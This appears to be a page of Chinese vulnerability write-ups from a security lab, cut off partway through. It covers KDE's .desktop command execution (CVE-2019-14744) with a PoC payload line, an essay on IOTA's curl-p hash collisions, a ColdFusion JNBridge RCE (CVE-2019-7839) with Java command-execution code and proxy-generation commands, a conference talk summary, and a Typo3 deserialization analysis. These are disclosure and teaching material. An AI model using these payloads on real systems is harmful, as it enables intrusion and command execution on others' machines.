-
KDE4/5 命令执行漏洞 (CVE-2019-14744) 简析
作者: HACHp1@知道创宇404实验室
日期: 2019/08/08漏洞简介
KDE Frameworks是一套由KDE社群所编写的库及软件框架,是KDE Plasma 5及KDE Applications 5的基础,并使用GNU通用公共许可证进行发布。其中所包含的多个独立框架提供了各种常用的功能,包括了硬件集成、文件格式支持、控件、绘图功能、拼写检查等。KDE框架目前被几个Linux发行版所采用,包括了Kubuntu、OpenMandriva、openSUSE和OpenMandriva。
2019年7月28日Dominik Penner(@zer0pwn)发现了KDE framework版本<=5.60.0时存在命令执行漏洞。
2019年8月5日Dominik Penner在Twitter上披露了该漏洞,而此时该漏洞还是0day漏洞。此漏洞由KDesktopFile类处理.desktop或.directory文件的方式引起。如果受害者下载了恶意构造的.desktop或.directory文件,恶意文件中注入的bash代码就会被执行。
2019年8月8日,KDE社区终于在发布的更新中修复了该漏洞;在此之前的三天内,此漏洞是没有官方补丁的。
一些八卦
- 在Dominik Penner公开此漏洞时,并没有告诉KDE社区此漏洞,直接将该0day的攻击详情披露在了Twitter上。公布之后,KDE社区的人员与Penner之间发生了很多有意思的事情,在这里不做描述。
影响版本
- 内置或后期安装有KDE Frameworks版本<=5.60.0的操作系统,如Kubuntu。
漏洞复现
环境搭建
- 虚拟机镜像:kubuntu-16.04.6-desktop-amd64.iso
- KDE Framework 5.18.0
- 搭建时,注意虚拟机关闭网络,否则语言包下载十分消耗时间;此外,安装完成后进入系统要关掉iso影响,否则无法进入系统。

复现过程及结果
PoC有多种形式,此处使用三种方式进行复现,第1、2种为验证性复现,第3种为接近真实情况下攻击者可能使用的攻击方式。
1.PoC1:
创建一个文件名为”payload.desktop”的文件:
在文件中写入payload:

保存后打开文件管理器,写入的payload被执行:

文件内容如下:

2.PoC2:
创建一个文件名为” .directory”的文件:

使用vi写入内容(此处有坑,KDE的vi输入backspace键会出现奇怪的反应,很不好用):

写入payload:

保存后打开文件管理器,payload被成功执行:

3.PoC3:
攻击者在本机启动NC监听:
攻击者将payload文件打包挂载至Web服务器中,诱导受害者下载:

受害者解压文件:

解压后,payload会被执行,攻击者接收到反连的Shell:

- 漏洞影响:虽然直接下载文件很容易引起受害者注意,但攻击者可以将恶意文件打包为压缩文件并使用社会工程学诱导受害者解开压缩包。不管受害者有没有打开解压后的文件,恶意代码都已经执行了,因为文件解压后KDE系统会调用桌面解析函数。此时受害者就容易中招。
漏洞原理简析
- 在Dominik Penner公布的细节中,对该漏洞已经有着比较详细的解释。在着手分析漏洞前,我们先学习一下Linux的desktop entry相关的知识。
desktop entry
- XDG 桌面配置项规范为应用程序和桌面环境的菜单整合提供了一个标准方法。只要桌面环境遵守菜单规范,应用程序图标就可以显示在系统菜单中。
- 每个桌面项必须包含 Type 和 Name,还可以选择定义自己在程序菜单中的显示方式。
- 也就是说,这是一种解析桌面项的图标、名称、类型等信息的规范。
- 使用这种规范的开发项目应该通过目录下的
.directory或.desktop文件记录该目录下的解析配置。
详见:https://wiki.archlinux.org/index.php/Desktop_entries_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)
漏洞的产生
KDE的桌面配置解析参考了XDG的方式,但是包含了KDE自己实现的功能;并且其实现与XDG官方定义的功能也有出入,正是此出入导致了漏洞。
在KDE文档中有如下的话(https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion):
1234567891011Shell ExpansionSo called Shell Expansion can be used to provide more dynamic default values. With shell expansion the value of a configuration key can be constructed from the value of an environment variable.To enable shell expansion for a configuration entry, the key must be followed by [$e]. Normally the expanded form is written into the users configuration file after first use. To prevent that, it is recommend to lock the configuration entry down by using [$ie].Example: Dynamic EntriesThe value for the "Email" entry is determined by filling in the values of the $USER and $HOST environment variables. When joe is logged in on joes_host this will result in a value equal to "joe@joes_host". The setting is not locked down.[Mail Settings]Email[$e]=${USER}@${HOST}- 为了提供更加灵活的设置解析,KDE实现并支持了动态配置,而此处的
${USER}尤其令人注意,该项取自环境变量,可以推测,此处与命令执行肯定有联系。 - 每当KDE桌面系统要读取图标等桌面配置时,就会调用一次
readEntry函数;从Dominik Penner给出的漏洞细节中,可以看到追踪代码的过程。整个漏洞的执行过程如下:
首先,创建恶意文件:
1234payload.desktop[Desktop Entry]Icon[$e]=$(echo hello>~/POC.txt)进入文件管理器,此时系统会对
.desktop文件进行解析;进入解析Icon的流程,根据文档中的说明,参数中带有[$e]时会调用shell动态解析命令:kdesktopfile.cpp:
12345QString KDesktopFile::readIcon() const{Q_D(const KDesktopFile);return d->desktopGroup.readEntry("Icon", QString());}跟进,发现调用了
KConfigPrivate::expandString(aValue):
kconfiggroup.cpp:12345678910111213141516171819QString KConfigGroup::readEntry(const char *key, const QString &aDefault) const{Q_ASSERT_X(isValid(), "KConfigGroup::readEntry", "accessing an invalid group");bool expand = false;// read value from the entry mapQString aValue = config()->d_func()->lookupData(d->fullName(), key, KEntryMap::SearchLocalized,&expand);if (aValue.isNull()) {aValue = aDefault;}if (expand) {return KConfigPrivate::expandString(aValue);}return aValue;}再跟进,结合之前对KDE官方文档的解读,此处是对动态命令的解析过程,程序会把字符串中第一个出现的
$(与第一个出现的)之间的部分截取出来,作为命令,然后调用popen执行:
kconfig.cpp12345678910111213141516171819202122232425262728QString KConfigPrivate::expandString(const QString &value){QString aValue = value;// check for environment variables and make necessary translationsint nDollarPos = aValue.indexOf(QLatin1Char('$'));while (nDollarPos != -1 && nDollarPos + 1 < aValue.length()) {// there is at least one $if (aValue[nDollarPos + 1] == QLatin1Char('(')) {int nEndPos = nDollarPos + 1;// the next character is not $while ((nEndPos <= aValue.length()) && (aValue[nEndPos] != QLatin1Char(')'))) {nEndPos++;}nEndPos++;QString cmd = aValue.mid(nDollarPos + 2, nEndPos - nDollarPos - 3);QString result;// FIXME: wince does not have pipes#ifndef _WIN32_WCEFILE *fs = popen(QFile::encodeName(cmd).data(), "r");if (fs) {QTextStream ts(fs, QIODevice::ReadOnly);result = ts.readAll().trimmed();pclose(fs);}#endif自此,漏洞利用过程中的代码执行流程分析完毕;可以看到KDE在解析桌面设置时,以直接使用执行系统命令获取返回值的方式动态获得操作系统的一些参数值;为了获得诸如
${USER}这样的系统变量直接调用系统命令,这个做法是不太妥当的。官方修补方案分析
- 官方在最新版本中给出了简单粗暴的修复手段,直接删除了popen函数和其执行过程,从而除去了调用popen动态解析
[e]属性的功能:

- 此外,官方还不忘吐槽了一波:
1234Summary:It is very unclear at this point what a valid use case for this featurewould possibly be. The old documentation only mentions $(hostname) asan example, which can be done with $HOSTNAME instead.总结
- 个人认为这个漏洞在成因以外的地方有着更大的意义。首先,不太清楚当初编写KDE框架的开发人员的用意,也许是想让框架更灵活;但是在文档的使用用例中,只是为了获取
${USER}变量的值而已。在命令执行上有些许杀鸡用牛刀的感觉。 - 从这个漏洞可以看出灵活性与安全性在有的时候是互相冲突的,灵活性高,也意味着更有可能出现纰漏,这给开发人员更多的警示。
- 漏洞发现者在没有通知官方的情况下直接公布了漏洞细节,这个做法比较有争议。在发现漏洞时,首先将0day交给谁也是个问题,个人认为可以将漏洞提交给厂商,待其修复后再商议是否要公布。可能国际上的hacker思维与国内有着比较大的差异,在Dominik Penner的Twitter下竟然有不少的人支持他提前公布0day,他自己也解释是想要在defcon开始之前提交自己的0day,这个做法以及众人的反应值得去品味。
参考资料

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1006/
没有评论 -
总结:IOTA反驳DCI实验室提出的漏洞荒谬至极
原文:https://medium.com/@noahruderman/a-summary-of-why-iotas-refutation-of-a-vulnerability-by-dci-labs-is-absurd-128e894781b1
作者:Noah Ruderman
译者:知道创宇404实验室DCI实验室发布报告称,他们发现了针对IOTA交易签名方案中存在性不可伪造(EU-CMA)的安全问题,允许攻击者窃取资金。
而对于密码学来说,这个漏洞正是密码学安全研究的向量。如果你不同意这一点,你就是在反对密码学。
1. 前言
争议开始于由麻省理工学院旗下的DCI实验室撰写的漏洞报告。IOTA开发人员否认密码学和互联网安全对漏洞的定义,指控DCI实验室学术欺诈,并骚扰DCI的安全研究员伊森·海尔曼,威胁说要对这份不利的漏洞报告采取法律行动。
尽管DCI声称的漏洞在每一位加密专家、安全研究人员和主要加密货币开发人员看来都是正确的,但这很难令常人所理解。在这基础上,IOTA强烈反对curl-p易受攻击的观点,并发布了相关文章。
本篇文章的目的:
(a) 向几乎没有密码学知识的人解释该漏洞的性质;
(b) 为什么IOTA的反驳并不能说服密码学专家和安全研究人员;
(c) 如何论证哈希函数的安全性。2. DCI实验室声明的摘要
DCI实验室表示,用于保护交易安全的数字签名方案不符合EU-CMA的安全概念。该数字签名方案的安全性之所以能被打破,是因为所使用的哈希函数curl-p没有抗碰撞的属性。
3. 什么是curl-p?
Curl-p是一个哈希函数。哈希函数将任意长度的数据转换为固定长度的输出。你可以将这些输出看作数字指纹。哈希函数旨在满足以下主要特性:
- 确定性:给定相同的输入,获取的哈希值始终相同。
- 一致性:预期的输入应尽可能一致地映射到输出范围。
- 不可逆性:给定哈希值,应该很难找到相应的输入。但“非常困难”的定义很宽泛,因为它取决于许多外部因素,比如随着时间推移而变化的技术,但专家们对此没有争议。在普通硬件上计算冲突是不可能的,并且对于安全的哈希函数来说,任何人都很难找到冲突。如果政府能够找到冲突,那么哈希函数就不会被认为是安全的。
curl-p的目的是使哈希函数表现出高度随机的行为,它使我们将哈希值视为唯一的且防篡改的。
4. curl-p的作用是什么?
Curl-p是由Sergey Ivancheglo编写的自定义哈希函数,他也被称为Come-from-Beyond。它是数字签名方案的一部分,用于确保交易的身份验证的完整性。在消息上构造数字签名的过程包括将数据哈希并用私钥加密哈希值。这是加密货币的标准做法。详细解释如下:
- 身份验证:证明消息是由公钥所有者创建的。如果消息未经过哈希处理,则签名会更长,则需要更多时间进行验证。
- 完整性:防止消息在创建后被篡改,同时仍然在数字签名下进行验证。
数字签名是通过用公钥解密签名并将交易数据哈希来进行验证的。如果未加密签名和相应的哈希值相同,则认为数字签名有效。
然而,预期中的数字签名要求哈希函数表现出高度的随机行为。如果curl-p表现出足够的非随机行为,攻击者就可以构造一个没有私钥签名但具有相同签名的消息,因为消息的哈希值是相同的。这意味着数字签名方案被破坏,攻击者可能会伪造交易来窃取资金,因此交易的数字签名(扩展为curl-p)在软件生产中具有关键的安全作用。
5. curl-p必须满足哪些安全属性才能防止攻击?
我们可以简单的把这个问题归结为冲突,即两则不同的消息可以用curl-p哈希得到相同值的频率。如果两则消息哈希值相同,那么签名将是相同的,如果攻击者的消息是有效的交易,这意味着可能有人通过使用前一个交易的签名来使用你的Iota币。任何curl-p的冲突都会对数字签名方案发起攻击,因此curl-p应该具有最强的安全性。
用于满足最严格的安全属性的哈希函数被称为加密哈希函数。这些安全属性包括:
- 抗碰撞性:攻击者应该无法找到两则消息m1和m2使得hash(m1) = hash(m2)。
- 抗原像攻击:如果提供哈希值h,攻击者应该无法找到消息m使得m = hash(h)。
- 抗第二原像攻击:如果提供消息m1,攻击者应该无法找到消息m2,使得hash(m1)= hash(m2),m1!= m2。
6. curl-p是加密哈希函数吗?
IOTA开发人员一直含糊其辞,但更频繁地声称curl-p并非旨在成为加密哈希函数。他们反驳了DCI实验室关于漏洞的说法,因为他们认为在curl-p中不需要抗碰撞性。换句话说,他们不能因为curl-p是一个不安全的哈希函数而被指责,因为它从来没有打算保证curl-p是安全的。
然而,curl-p在确保使用拥有超过10亿美元生产系统的安全方面发挥了关键作用。curl-p的充分非随机行为可能使资金被盗。除非允许资金窃取是curl-p的预期功能,否则其应该被设计为满足我概述的最严格的安全属性,这将使其成为加密哈希函数。如果按照IOTA开发人员所说,curl-p并不是一个加密哈希函数,那么这就是一个重大的设计缺陷。
因此,IOTA开发人员要么为其极其糟糕的设计负责,要么认为他们自己构建了一个安全的哈希函数,因为他们无法找到破解它的方法。两者都表现出极差的判断力,第一种是健忘,第二种是对其安全性过于自信。
7. 是否存在漏洞?
存在。DCI实验室发现curl-p并不具有抗碰撞性,他们展示了两则消息的真实例子,这两则消息被网络视为有效交易,但是哈希到相同的值。他们通过利用curl-p中的非随机行为来改变消息中的一些位以生成哈希值相同的新值。这些位就是交易金额。因此,如果你向某人发送了一些Iota币,那么你可以通过修改交易来发送不同的金额。
DCI实验室还展示了理论上的攻击是如何通过破坏抗碰撞性来实现的。你可以构造两项哈希值相同的交易来发送Alice的Iota币,然后让Alice签署第一项交易,然后用这个签名发送第二项交易。
正如密码学专家、安全研究人员等普遍理解的那样,漏洞确实存在,原因如下:商用硬件上的curl-p上发生了碰撞;curl-p中被打破的抗碰撞性是用来自同一地址的事务来表示的;使用curl-p来哈希交易数据意味着用户资金可能被盗;加密哈希函数不可能实现这一点……
但如果我认为这次攻击没有那么严重呢?
“安全”(secure)一词用于哈希函数,“漏洞”(vulnerability)一词用于软件,它们都有明确的定义,这些定义独立于任何人对这些攻击破坏力的感受。密码学对数字签名方案的安全性有严格的定义,且数字签名方案的安全性也与个人感受无关。因此,我们完全可以说curl-p是不安全的,并且其存在一个漏洞,但攻击并没有那么严重。因为攻击没有那么严重,所以不存在漏洞这种说法是不正确的。
8. 为什么要考虑标准的EU-CMA而不是实际的攻击呢?
没有受过软件工程或密码学培训的人最常犯的一个错误是,EU-CMA攻击是一个抽象的游戏,不能很好地转化为实际的结果。毕竟,IOTA的协调员可能自己做了一些验证,这肯定会影响概述的攻击的可行性,而这并不是EU-CMA模拟的一部分。当然也有一些外部组件对攻击很重要——不建议重用地址。让我们先把明显的细节放在一边,即协调器是一个临时措施,而且它是闭源的——这意味着没有人知道它到底做了什么。
如果关于系统安全性的评判标准是“能否在生产系统中演示实际的攻击”,那么在实际部署这些演示时,会出现一些明显的问题。首先,黑客攻击计算机系统是违法的。其次是关于安全漏洞的微妙本质——你真的认为等到商用硬件上的SHA-1被破坏后再将其用于关键的互联网基础设施是一个好主意吗?还有一个事实是,闭源代码是不能进行公开访问的——你认为我们应该忽略那些闭源系统的安全性吗?这样的例子不胜枚举。
如何解释安全性的标准,你可以将其视为最佳实践。最佳实践就像专家的常识一样,因为同样的错误往往会重复出现——比如创建自定义的哈希函数。EU-CMA攻击包含了我们期望从构建了安全方面的最佳实践的系统中看到的行为。也就是说,如果你实现了EU-CMA关于数字签名安全的概念,那么你就知道存在某些安全保证,甚至不需要为系统的各个部分创建巨大的流程图。从另一个角度来看,如果你系统的安全性依靠外部验证来维护被破坏的协议的完整性,那么你就会有一个过于草率、复杂的系统,它很容易出现安全漏洞。
Sergey说EU-CMA对数字签名不重要,因为他的系统会做额外的验证,这就像在说:
- 你不用担心把所有的硬币都放在一个热钱包里,因为没有人知道这台电脑在哪里以及它的密码。
- 你不必用VPN来向政府隐藏你的IP,因为他们的隐私政策说他们不保存日志。
- 你无需为重复使用密码而担心,因为密码的安全性很高。
这些例子听起来很愚蠢吗?当然!但它们本质一样。安全漏洞在技术上可以通过外部因素得到缓解。但是这种缓和因素是非常脆弱的,特别是对那些安全因素至关重要的东西来说。如果与大型热钱包交易可以获得10亿美元呢?它完全打破了你的安全模式。IOTA开发人员冒着损失用户10亿美元的风险——用他们自己的话说,因为他们不知道有比在生产系统中测试未经同行评审的自定义加密原语更好的方法,也不知道有比只是部署它并查看是否有人破坏了它更好的方法——这极其荒谬。(参见:泄露邮件第4封)
9. 如果现实生活中的攻击看起来还不那么切合实际,为什么安全研究人员还会担心呢?
因为哈希函数的历史给了我们一些教训,那就是第一个漏洞只是开始,随着时间的推移,会发现更多的漏洞。DCI团队非常接近于找到一个原像攻击,他们先发制人地声明他们与IOTA进行了私下交流。DCI实验室表示,他们认为这是有可能的,但还无法对其进行量化。他们还认为curl-p也破坏了抗原像攻击,而并不难以置信。
如果发现了curl-p的原像攻击,那么实际的攻击将十分危急且无法恢复。原像攻击意味着你不需要为消息签名攻击就可以成功。想象一下攻击者设置了大量的Iota完整节点。现在使用一个轻钱包连接这些节点,并传播你的交易。该交易不会被传到网上。相反地,他们会伪造一个假交易,然后用你的签名进行传播。
10. 将SHA-1作为哈希函数安全性的案例研究
显示非随机行为迹象的哈希函数只是一个开始。SHA-1于1995年被正式指定。2005年,在其规范化整整十年后,漏洞开始被发布,其攻击力比暴力攻击更有效。与curl-p不同的是,在2005年的时候还没有发现实际的碰撞。SHA-1提供的安全性比承诺的要低,差距太小而不容忽视,可能在政府的预算范围内无法攻破,但这足以让密码学界认为它是不安全的。
在接下来的几年里,打破SHA-1安全性的障碍不断变小,并且完全在政府的掌控之中。同样地,尽管没有发现碰撞事实,但许多组织都建议用SHA-2或SHA-3来代替SHA-1。2017年,终于发现了一次碰撞。这是一次碰撞攻击,他们证明它可以用来做一些事情,比如构造一个低租金的合同,用具有相同哈希值的高租金合同来交换数字签名。
SHA-1的历史总结:
- 第一个漏洞是在其规范之后整整十年才发现的。
- 一旦攻击被证明比暴力更有效时,密码学家就认为它是不安全的,尽管这是不切实际的。没有一个密码学家认为SHA-1是安全的,因为它太难攻击了。
- 尽管在2017年之前,没有人负担得起在SHA-1中发现碰撞的计算能力,但政府完全有能力做到这一点。
- 自2005年以来,每年对SHA-1的攻击都变得越来越高效。换句话说,一旦SHA-1显示出非随机行为,对它的尝试性利用变得越来越好。
与此curl-p比较:
- 第一个漏洞是在IOTA在交易所上市后一个月内发现的,该项目也因此受到公众关注,市值超过10亿美元。而SHA-1花了10年的时间才得到研究人员的关注。
- 尽管curl-p在保护签名完整性方面与SHA-1有类似的作用,但Sergey Ivancheglo并不认为抗碰撞性很重要。整个密码学界都认为SHA-1的抗碰撞能力非常重要。这种几乎被破坏的抗碰撞性会导致SHA-1的不安全调用。
- 根据泄露的电子邮件,IOTA开发人员使用curl-p来处理关键的安全应用程序,但并不认为有必要将其提交给密码学专家的同行进行评审。用他们自己的话来说,他们觉得确保自制的加密技术安全性的唯一方法就是在生产系统中使用它然后看它是否受到攻击。
- 根据DCI实验室的数据,对curl-p的攻击花费了20个小时。
11. 但你确定真的有漏洞吗?
根据密码学的定义,有漏洞。
评估说curl-p不安全是因为它在生产系统中发挥着关键的安全作用(意味着它应该是一个加密哈希函数),但是它已经破坏了抗碰撞性(它不是一个安全的加密哈希函数)。
评估认为在交易的数字签名方案中存在漏洞是因为有不安全的哈希函数,它意味着你可以使用以前交易的签名来伪造交易。
12. 但你说这是密码学的定义……
更严格地说,DCI实验室表明,根据EU-CMA,IOTA使用curl-p的交易数字签名方案失败了。在这种攻击中,攻击者能够签署他们选定的任何消息,并可以根据需要重复生成和签署消息。如果任意两条消息生成相同的签名,则攻击成功。
对于此次攻击,消息来源是未签名的IOTA交易。由于交易的签名实际上是交易数据的curl-p哈希函数的签名,因此打破curl-p的抗碰撞性就足以赢得这场游戏。DCI实验室的研究人员通过产生碰撞消息打破了curl-p的抗碰撞性。这些碰撞消息是良构事务,这是一个额外收获。
但是IOTA反驳说,EU-CMA的安全也被破坏了……
相信我,我们现在都已经习惯了。
在泄露的电子邮件中,Sergey反驳了这一说法,理由是对EU-CMA安全的定义过于抽象。(这就是他提到的“真空中的球形签名方案”。)他的观点十分令人困惑,部分原因是他反复引用维基百科(Wikipedia)和security.stackexchange.com等网站上的非正式信息来为自己的观点辩护,他认为这些信息具有权威性。Sergey反复引用安全的定义,但是不考虑加密货币协议。其他时候,他对EU-CMA安全的定义提出异议,称其需要进行原像攻击。在推特上,他经常挑战那些认为IOTA很容易受到原像攻击的人,Heilman反复强调,这对于他们所概述的EU-CMA攻击来说不是必要的。
Sergey在一篇文章中更仔细地阐述了他的理解。很明显,他的理解力还很差劲。他努力地从一个非常直截了当的角度来看待EU-CMA安全的各个方面。例如,EU-CMA允许攻击者获取从目标生成的任何消息的签名。因此,DCI实验室通过使用由他们控制的私钥来模拟提供这些消息的受害者。Sergey认为这违规了,因为他们模拟的是可以创建密钥的虚拟受害者,而不是无法创建密钥的虚拟受害者。
Sergey也误解了“微不足道”这个词的概念。他一再强调,如果DCI实验室不提供在curl-p中查找碰撞的代码,那么他们就没有任何可信度,就好像这改变了curl-p在普通硬件上存在碰撞的事实,意味着碰撞对密码学者来说是微不足道的。
Sergey并不是提出几个问题而已,而是在质疑密码学中他所能质疑的一切。如果他不理解这些概念,他应该去上与密码学相关的课程,在课堂上提出自己的问题,而不是去骚扰撰写漏洞报告的安全研究人员。如果做不到这一点,他应该聘请密码学专家来回答他的问题,因为他要求的细节如此之多,以至于DCI实验室能够主动满足其要求变得遥遥无期。
13. 结论
DCI实验室对IOTA存在漏洞的评估与密码学的定义一致。每一位密码学家、安全研究员和主要加密货币的开发者都公开发表了言论,他们都同意DCI实验室的观点。
IOTA对此提出异议的原因如下:
- 他们缺乏对密码学的功能性理解,以至于将security.stackexchange.com上的的非正式答案作为严格的定义;
- 他们缺乏研究安全问题的直觉,以至于在没有同行评审的情况下,他们就开始使用自己的加密原语并在生产系统上进行测试;
- 他们缺乏社会技能,无法准确解释密码学定义中更定性的方面,比如“微不足道”这个词的含义。
-
Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析
作者: Badcode@知道创宇404实验室
日期: 2019/07/09
英文版本: https://paper.seebug.org/1000/漏洞简介
Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用,也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。
2019年06月11日,Adobe 发布安全公告,修复了Adobe ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。 2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了远程代码执行漏洞(CVE-2019-7839)的部分细节,由于 JNBridge 组件存在缺陷,而 ColdFusion 默认开启JNBridge组件,导致代码执行漏洞。
漏洞影响
- ColdFusion 2018 Update 3 及之前的版本
- ColdFusion 2018 Update 10 及之前的版本
- ColdFusion 11 Update 18 及之前的版本
- <= ColdFusion 9
漏洞分析
根据 Moritz Bechler 披露的部分细节,是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。
先来了解一下JNBridge。
什么是 JNBridge?
JNBridge 是一种领先的JAVA与.NET互操作的的产品,凭借JNBridge技术,Java 和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上,而.NET代码则运行在CLR上。在该方案下,JVM和CLR可以运 行在不同的机器上,也可以运行在一台机器的不同进程上,甚至还能运行在相同的进程的不同应用程序域上。
下载 JNBridgePro,安装完之后会有demo。试用license
1jnbp-eval-v10.0#1899-2367-9451-2280这里我们尝试使用.net去调用java,跑一下logDemo,了解下大致流程。

启动 Java 服务端
根据 JNBridge 的安装路径,修改
startJava.bat,运行
可以看到,JNBridge 服务端 listener 已开启,监听在8085端口。
构建 .Net 客户端
根据 demo的指示文档 logDemo.pdf,一步一步构建 .Net 项目。

运行
运行 .Net 项目,调用 Java 服务端,成功调用。

如何执行调用 java.lang.Runtime
之前流程有一步是将
loggerDemo.javaClass转成logger.dll,试想一下,是否可以将java.lang.Runtime导成dll文件,供 .Net 客户端引用,然后去调用 Java 服务端的java.lang.Runtime?尝试一下
将
rt.jar引入 classpath
添加
java.lang.Runtime类
导出
runtime.dll引入 .Net 项目中供调用

运行

成功调用到了 Java 服务端中的
java.lang.Runtime,这也是这个漏洞的根源。ColdFusion 中的 JNBridge
ColdFusion 中是默认运行了 JNBridge listener 的,并且是 Java 服务端,监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中带的 JNBridge 版本不同,所以构造 payload 的方式有些差异。
ColdFusion 2016/2018
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,无法使用上面的的JNBridge v10去构造 payload,在 JNBridge 官网上可以下载一部分历史版本,下载 v7.3版本。
编写想要在 Java 服务端执行的代码
1234567891011121314151617181920String command = "whoami";String [] commandArgs;String os = System.getProperty("os.name");System.out.println(os);if(os.toLowerCase().startsWith("win")){commandArgs = new String[]{"cmd.exe", "/c", command};}else {commandArgs = new String[]{"/bin/bash", "-c", command};}Runtime runtime = Runtime.getRuntime();Process process = runtime.exec(commandArgs);BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = br.readLine()) != null){System.out.println(line);}br.close();里面使用到了
java.lang.Runtime,java.lang.Process,java.io.BufferedReader,java.io.InputStreamReader和java.lang.System,将相关类从rt.jar中导成runtime2.dll,供 .Net 客户端引用。根据 Java代码重写

这里面有个非常重要的
JNBShare.dll,这里使用自己安装的 JNBridge 成功后生成的JNBShare.dll,无法使用ColdFusion 中 JNBridge 的JNBShare.dll,会报错。运行,攻击远程的ColdFusion 2018(Linux平台),成功返回结果。

ColdFusion 9/11
ColdFusion 9 内部的 JNBridge 版本是 v5.1,监听端口是 6085。由于这个版本比较老了,没找到安装包,现在需要生成供我们引用的
runtime2.dll和能用的JNBShare.dll。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe无法构建.net -> java项目,也就是说GUI工具用不了,所幸的是命令行工具还可以用。jnbproxy.exe,看下参数。

根据参数,生成
runtime2.dll1jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System至于
JNBShare.dll,因为内部的无法使用,安装包又下载不到。幸运的是有人收藏了这个JNBShare.dll,谷歌搜索能够找到,并且刚好是v5.1版本的。运行,攻击远程的 ColdFusion 9(windows平台),返回命令执行结果。


本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/999/
-
TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain
作者:LoRexxar'@知道创宇404实验室
2019年7月31日,以“前沿科技、尖端对抗”为主题的腾讯安全探索论坛(TSec)正式迎来第三届,知道创宇404实验室安全研究员@LoRexxar' 在大会上分享了议题《Comprehensive analysis of the mysql client attack chain》,从 Mysql 客户端攻击出发,探索真实世界攻击链。

整个 PPT 我们将一起探讨关于 Mysql Client attack 的细节以及利用方式,在mysql任意文件读取的基础上,探讨并验证一些实际的攻击场景。其中包括 mysql 蜜罐溯源、mysql 探针、云服务 rds 服务,excel 数据同步服务以及一些cms的具体利用。
在这些基础上,我们提出在 2018 年 Blackhat 大会上 Sam Thomas 分享的 File Operation Induced Unserialization via the “phar://” Stream Wrapper 议题中,曾提到 php 的文件读取函数读取 phar 协议会导致反序列化,在这个漏洞的基础上,我们可以把 php-mysqli 环境下的任意文件读取转为反序列化漏洞,在这个基础上,我们进一步讨论这个漏洞在cms通用环境下的普适性。
议题PPT下载:https://github.com/knownsec/404-Team-ShowCase
注:PPT中关于漏洞的具体详情已作删除处理,我们将会在推进负责的漏洞报送过程之后公开详细的漏洞分析文章。
-
Typo3 CVE-2019-12747 反序列化漏洞分析
作者:mengchen@知道创宇404实验室
时间:2019年8月1日
英文版本:https://paper.seebug.org/997/1. 前言
TYPO3是一个以PHP编写、采用GNU通用公共许可证的自由、开源的内容管理系统。2019年7月16日,
RIPS的研究团队公开了Typo3 CMS的一个关键漏洞详情,CVE编号为CVE-2019-12747,它允许后台用户执行任意PHP代码。漏洞影响范围:
Typo3 8.x-8.7.26 9.x-9.5.7。2. 测试环境简述
1234Nginx/1.15.8PHP 7.3.1 + xdebug 2.7.2MySQL 5.7.27Typo3 9.5.73. TCA
在进行分析之前,我们需要了解下
Typo3的TCA(Table Configuration Array),在Typo3的代码中,它表示为$GLOBALS['TCA']。在
Typo3中,TCA算是对于数据库表的定义的扩展,定义了哪些表可以在Typo3的后端可以被编辑,主要的功能有- 表示表与表之间的关系
- 定义后端显示的字段和布局
- 验证字段的方式
这次漏洞的两个利用点分别出在了
CoreEngine和FormEngine这两大结构中,而TCA就是这两者之间的桥梁,告诉两个核心结构该如何表现表、字段和关系。TCA的第一层是表名:123456$GLOBALS['TCA']['pages'] = [...];$GLOBALS['TCA']['tt_content'] = [...];其中
pages和tt_content就是数据库中的表。接下来一层就是一个数组,它定义了如何处理表,
1234567891011121314151617$GLOBALS['TCA']['pages'] = ['ctrl' => [ // 通常包含表的属性....],'interface' => [ // 后端接口属性等....],'columns' => [....],'types' => [....],'palettes' => [....],];在这次分析过程中,只需要了解这么多,更多详细的资料可以查询官方手册。
4. 漏洞分析
整个漏洞的利用流程并不是特别复杂,主要需要两个步骤,第一步变量覆盖后导致反序列化的输入可控,第二步构造特殊的反序列化字符串来写
shell。第二步这个就是老套路了,找个在魔术方法中能写文件的类就行。这个漏洞好玩的地方在于变量覆盖这一步,而且进入两个组件漏洞点的传入方式也有着些许不同,接下来让我们看一看这个漏洞吧。4.1 补丁分析
从Typo3官方的通告中我们可以知道漏洞影响了两个组件——
Backend & Core API (ext:backend, ext:core),在GitHub上我们可以找到修复记录:
很明显,补丁分别禁用了
backend的DatabaseLanguageRows.php和core中的DataHandler.php中的的反序列化操作。4.2 Backend ext 漏洞点利用过程分析
根据补丁的位置,看下
Backend组件中的漏洞点。路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseLanguageRows.php:371234567891011121314151617181920212223242526272829303132333435363738public function addData(array $result){if (!empty($result['processedTca']['ctrl']['languageField'])&& !empty($result['processedTca']['ctrl']['transOrigPointerField'])) {$languageField = $result['processedTca']['ctrl']['languageField'];$fieldWithUidOfDefaultRecord = $result['processedTca']['ctrl']['transOrigPointerField'];if (isset($result['databaseRow'][$languageField]) && $result['databaseRow'][$languageField] > 0&& isset($result['databaseRow'][$fieldWithUidOfDefaultRecord]) && $result['databaseRow'][$fieldWithUidOfDefaultRecord] > 0) {// Default language record of localized record$defaultLanguageRow = $this->getRecordWorkspaceOverlay($result['tableName'],(int)$result['databaseRow'][$fieldWithUidOfDefaultRecord]);if (empty($defaultLanguageRow)) {throw new DatabaseDefaultLanguageException('Default language record with id ' . 